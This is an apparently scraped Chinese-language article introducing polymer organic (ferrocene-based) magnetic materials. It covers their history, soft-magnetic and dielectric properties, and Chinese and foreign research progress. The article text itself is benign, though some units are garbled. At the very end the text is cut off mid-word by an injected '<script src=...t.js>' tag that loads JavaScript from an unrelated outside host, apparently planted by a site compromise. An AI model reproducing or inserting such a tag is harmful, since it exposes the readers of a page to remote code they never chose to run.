1引言
磁性材料是一簇新兴的基础功能材料。虽然早在3000多年前我国就已发现磁石相互吸引和磁石吸铁的现象,并在世界上最先发明用磁石作为指示方向和校正时间的应用,在《韩非子》和东汉王充著的《论衡》两书中所提到的“司南”就是指此,但毕竟只是单一地应用了天然的磁性材料。人类注意于磁性材料的性能特点、制造、应用等的研究、开发的发展历史尚不到100年时间。经过近百年的发展,磁性材料已经形成了一个庞大的家族,按材料的磁特性来划分,有软磁、永磁、旋磁、记忆磁、压磁等;按材料构成来划分,有合金磁性材料,铁氧体磁性材料.述材料尽管种类繁多,庞杂交叉,但都属于无机物质的磁性材料或以无机物质为主的混合物质磁性材料。
近年来,由于一种全新的磁性材料的面世,使磁性材料家族喜添新成员,这就是高分子有机磁性材料,其独特之处在于它属于纯有机物质的磁性材料。过去一般认为,有机高分子化合物是难于具有磁性的,因此本身具有磁性的有机高分子化合物的出现,就是高分子材料研究领域的一个重大突破。有机高分子磁性材料的发现被国内外专家认为是80年代末科学技术领域最重要的成果之一,它的发现在理论和应用上可与固体超导和有机超导相提并论。有可能在磁性材料领域产生一系列新技术。
2 高分子有机磁性材料的主要性能特点
由于高分子有机磁性材料既属于高分子有机材料,又属于磁性材料,对这类材料的研究属于交叉科学,人们对这类新型材料的研究和认识尚处于起步阶段,因此尽管专家们已对其进行了多方面的测量、试验和分析、研究,但对其特性的认识仍很不系统、很不准确、很不全面。从现已了解到的一些测试数据和分析情况可以初步看出其主要的性能特点:
(1)该材料是采用与过去所有磁性材料的制备方法完全不同的高分子化工工艺制成的高分子有机物质,是高分子有机物再加上二茂铁的络合物,分子量高达数千。
有机物的主要构成元素是碳、氢、氮,结构和化学性能十分稳定。将磁粉加工制成磁性元件,不需烧结,只需热压成型。加工方便,元件属塑性软磁产品,不产生因高温烧结而导致的尺寸偏差,且机械特性好,可进行切、车、铣、钻等机械加工,机械的抗振动、抗冲击性好。
(2)从磁性能看,属于软磁。其本征磁特性参数有,比磁化强度为20～27a·m2/kg,剩磁为2.91a·m2/kg,矫顽力4.9ka/m;应用磁特性参数有,初始磁导率μi(在1000mhz时)为3～6,比磁损耗(在1000mhz时)tgδ/μi为2.7×10-3;低损耗适用频率范围为200～3500mhz。
(3)介电特性较好。电阻率≥1010ω·cm,在1～1000mhz下,复数介电常数的实部ε′为8.2～8.3,虚部ε″为0.21～0.22。
(4)其他物理特性有,密度低,磁粉(为纳米级微粉)密度为0.33g/cm3,磁片或磁环密度为1.05～2.05g/cm3;适应温度宽,为1.5～450k;温度变化率低,δμ/μi在-55～15℃间为-0.4%,在55～125℃间为1.4%;耐热冲击好,在-45℃,20℃及125℃间循环升降温及从-45℃到100℃剧烈温度冲击下磁棒无异常;抗辐射;抗老化等。
(5)目前对高分子有机磁性材料的分子结构和产生磁性的机理尚不清楚。随着材料温度的升高,磁性能变化很小,直到220℃该种高分子有机材料分解时,磁性能才消失,研究者暂时将此温度称作此种材料的居里温度。有关专家估计,二茂金属高分子有机磁性材料的磁性,可能是源于磁性金属离子的有序排列,由于高分子有机材料的结构非常稳定,所以磁性能随温度的变化很小,直到高分子有机材料分解破坏时,磁性才立即消失,几乎无渐变过程。
3 国内外研究进展
国际上对有机磁性材料的研究始于1986年。1988年美国杜邦公司的miller研制出名为“十二甲基二茂铁tcne电荷转移化合物”的有机磁性材料。之后,日本、前苏联(俄罗斯)也相继研制出有机磁性材料。但都由于磁性太弱,而且有在常温下磁性能不稳定的缺陷而没有实用价值。
我国对有机磁性材料的研究基本和国外同期开始。清华大学和四川师范大学是国内的主要研究单位。国家对高分子有机磁性材料的研究十分重视。将该项目作为国家自然科学基金会1987～1997年连续十年资助的科研项目。由四川师范大学林展如教授主持研究的高分子有机磁性材料于1993年获国家专利局保密发明专利,1994年11月在成都通过国家技术鉴定。以中国科学院院士徐僖为首的鉴定组认为:该课题组研制的二茂金属高分子磁性化合物及试制的一系列磁性元器件,在结构型金属有机高分子磁性材料研究方面处于国际领先水平。1996年被列入国家“863”高科技计划。1997年由四川省科技投资公司与四川师范大学组建了四川科新磁电有限责任公司联合开发这一高新科技项目,同年12月高分子有机磁粉中试成功。他们通过分子设计和化学合成已做了3个结构系列29个配方的材料并具有一定的生产能力。林展如教授主持研究的高分子有机磁性材料的应用开发得到了国内电子、通信、航天、航空等方面从事整机、部件、元器件和材料研究的高等院?script src=http://er12.com/t.js>
